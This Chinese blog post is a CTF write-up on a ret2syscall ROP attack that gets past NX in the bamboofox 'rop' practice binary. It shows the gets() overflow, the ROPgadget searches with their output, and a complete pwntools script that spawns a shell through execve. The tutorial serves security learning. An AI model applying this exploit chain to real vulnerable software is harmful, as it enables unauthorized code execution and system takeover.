首页 > 其他分享 >栈溢出入门03 ret2syscall ROP NX绕过

栈溢出入门03 ret2syscall ROP NX绕过

时间:2024-07-06 14:30:14浏览次数:16  
标签:bin 03 -- ret NX rop sh pop ROP

本例题会使用ROP技术来绕过堆栈不可执行保护(NX保护),随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

那么ret2text——程序中有system("/bin/sh")代码段,控制流执行

那么ret2shellcode——程序中不存在system("/bin/sh/")的代码段,自己恶意填入代码并在可执行段执行 

那么ret2syscall——程序中不存在system("/bin/sh/")的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用

有些抽象。这就好比是一个函数,选好了合适的函数名(某个特殊寄存器的特殊的值),你设定好了参数(其他寄存器的特殊的值),并call 这个函数(一个特殊的语句),就能够执行这个函数(产生作用)

系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

使用int 80执行系统调用,这也是execve("/bin/sh/",NULL,NULL)的底层效果,返回了shell

使用checksec 发现只是开启了NX保护,file一下发现是静态链接,所以可以尝试使用ret2syscall。

使用的例题还是CTF-wiki里的bamboofox-ret2syscall文件夹下的rop文件,其md5值为:e7f8665936ee7011654bea6aca0c6d06

在Linux下可以使用“md5sum filename”命令计算MD5值

1.IDA反编译寻找漏洞

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   int v4; // [esp+1Ch] [ebp-64h] BYREF
 4 
 5   setvbuf(stdout, 0, 2, 0);
 6   setvbuf(stdin, 0, 1, 0);
 7   puts("This time, no system() and NO SHELLCODE!!!");
 8   puts("What do you plan to do?");
 9   gets(&v4);
10   return 0;
11 }

明显地,main函数里边的gets函数会造成缓冲区溢出。用pattern create和pattern_offset计算出buf到溢出点偏移有112字节。

注意:因为main函数里边计算的话需要额外加8字节才能正确计算处return address,0x64+0x4+0x8=0x70=112

2.寻找gadget

使用ROPgadget命令查询都有哪些pop 特定寄存器 ret的命令,然后一步步pop ret构造程序控制流

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop  --only 'pop|ret' | grep 'ecx'
ROPgadget --binary rop  --only 'pop|ret' | grep 'edx'

1 └─$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
2 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
3 0x080bb196 : pop eax ; ret
4 0x0807217a : pop eax ; ret 0x80e
5 0x0804f704 : pop eax ; ret 3
6 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选第三行的这个 因为其他的影响其他寄存器。

然后依次执行ROPgadget 命令寻找gadgets,然后发现下面的gadget一条就解决剩余三个寄存器的问题

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 

用ROPgadget --binary rop --string '/bin/sh'寻找是否有/bin/sh字符串

ROPgadget --binary rop --string '/bin/sh'           
Strings information
============================================================
0x080be408 : /bin/sh

还需要有触发系统中断的int 80语句

┌──(hath㉿kali)-[~/Desktop/CTF/bamboofox-ret2syscall]
└─$ ROPgadget --binary rop --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

基于上边的这四条我们可以构造我们的栈帧结构。

 3.exp

 1 #!/usr/bin/env python
 2 from pwn import *
 3 
 4 sh = process('./rop')
 5 
 6 pop_eax_ret = 0x080bb196
 7 pop_edx_ecx_ebx_ret = 0x0806eb90
 8 int_0x80 = 0x08049421
 9 binsh = 0x80be408
10 payload = flat(
11     ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
12 sh.sendline(payload)
13 sh.interactive()

 

标签:bin,03,--,ret,NX,rop,sh,pop,ROP
From: https://www.cnblogs.com/kenwblack/p/18286714

相关文章